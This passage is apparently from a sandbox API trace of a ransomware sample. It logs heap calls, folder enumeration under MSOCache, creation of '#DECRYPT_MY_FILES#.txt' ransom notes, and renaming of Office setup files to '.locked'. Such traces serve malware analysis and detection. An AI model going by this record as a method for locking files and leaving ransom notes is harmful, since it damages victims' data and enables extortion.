ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95310~1")) returned 1 [0032.034] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810fc0 [0032.034] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810f30 [0032.034] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810f78 [0032.034] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810f30 | out: hHeap=0x7f0000) returned 1 [0032.034] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810f78 | out: hHeap=0x7f0000) returned 1 [0032.034] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810fc0 | out: hHeap=0x7f0000) returned 1 [0032.034] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810fc0 [0032.034] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x82d810 [0032.034] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0032.034] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x77) returned 0x801350 [0032.035] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0032.035] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0032.035] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0032.035] AreFileApisANSI () returned 1 [0032.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0032.035] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xae) returned 0x806668 [0032.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x806668, cchWideChar=87 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\#DECRYPT_MY_FILES#.txt") returned 87 [0032.035] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42cc60, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0032.038] GetFileType (hFile=0x120) returned 0x1 [0032.038] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0032.038] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb613e920, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb613e920, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0032.039] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb613e920, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb613e920, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName="..", cAlternateFileName="")) returned 1 [0032.039] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb613e920, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb613e920, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb613e920, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0032.039] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x815fa0 [0032.039] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x806668 [0032.039] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0032.039] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0032.039] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0032.039] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0032.039] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="Office32MUI.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0032.039] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0032.039] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80dd40 [0032.039] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80dd40 | out: hHeap=0x7f0000) returned 1 [0032.039] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0032.039] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="Office32MUI.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0032.039] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0032.039] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80dd40 [0032.039] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80dd40 | out: hHeap=0x7f0000) returned 1 [0032.039] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0032.039] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0032.039] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0032.039] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0032.039] AreFileApisANSI () returned 1 [0032.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0032.044] AreFileApisANSI () returned 1 [0032.044] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0032.044] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0032.044] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.locked"), dwFlags=0x2) returned 1 [0032.044] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80cde8 | out: hHeap=0x7f0000) returned 1 [0032.044] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0032.044] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0032.044] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813440 | out: hHeap=0x7f0000) returned 1 [0032.044] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813450 | out: hHeap=0x7f0000) returned 1 [0032.044] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0032.044] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x3, dwReserved1=0x3, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1 [0032.044] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x3, dwReserved1=0x3, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0032.044] AreFileApisANSI () returned 1 [0032.044] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0032.048] AreFileApisANSI () returned 1 [0032.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0032.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0032.048] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.locked"), dwFlags=0x2) returned 1 [0032.049] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x819f70 | out: hHeap=0x7f0000) returned 1 [0032.049] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0032.049] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0032.049] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813440 | out: hHeap=0x7f0000) returned 1 [0032.049] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813450 | out: hHeap=0x7f0000) returned 1 [0032.049] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0032.049] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x3, dwReserved1=0x3, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0032.049] FindClose (in: hFindFile=0x825850 | out: hFindFile=0x825850) returned 1 [0032.049] FindNextFileA (in: hFindFile=0x825890, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="{91454~1")) returned 1 [0032.049] AreFileApisANSI () returned 1 [0032.049] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0032.052] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb6164a80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb6164a80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0032.052] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb6164a80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb6164a80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName="..", cAlternateFileName="")) returned 1 [0032.052] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb6164a80, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb6164a80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb6164a80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0032.052] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0032.052] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="InfoPathMUI.msi", cAlternateFileName="INFOPA~1.MSI")) returned 1 [0032.052] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="InfoPathMUI.xml", cAlternateFileName="INFOPA~1.XML")) returned 1 [0032.052] AreFileApisANSI () returned 1 [0032.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0032.055] AreFileApisANSI () returned 1 [0032.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0032.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0032.055] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.locked"), dwFlags=0x2) returned 1 [0032.056] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80cde8 | out: hHeap=0x7f0000) returned 1 [0032.056] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0032.056] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0032.056] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813440 | out: hHeap=0x7f0000) returned 1 [0032.056] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813450 | out: hHeap=0x7f0000) returned 1 [0032.056] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0032.056] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x3, dwReserved1=0x3, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0032.056] AreFileApisANSI () returned 1 [0032.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0032.060] AreFileApisANSI () returned 1 [0032.060] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0032.060] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0032.060] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.locked"), dwFlags=0x2) returned 1 [0032.060] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x819f70 | out: hHeap=0x7f0000) returned 1 [0032.060] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0032.060] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0032.060] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813440 | out: hHeap=0x7f0000) returned 1 [0032.060] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813450 | out: hHeap=0x7f0000) returned 1 [0032.060] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0032.060] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x3, dwReserved1=0x3, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0032.060] FindClose (in: hFindFile=0x825850 | out: hFindFile=0x825850) returned 1 [0032.060] FindNextFileA (in: hFindFile=0x825890, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9EA85~1")) returned 1 [0032.060] AreFileApisANSI () returned 1 [0032.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0032.063] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xb618abe0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb618abe0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0032.063] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xb618abe0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb618abe0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName="..", cAlternateFileName="")) returned 1 [0032.063] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb618abe0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb618abe0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb618abe0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0032.064] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0032.064] AreFileApisANSI () returned 1 [0032.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0032.073] AreFileApisANSI () returned 1 [0032.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0032.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0032.073] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.locked"), dwFlags=0x2) returned 1 [0032.073] HeapFree (in: 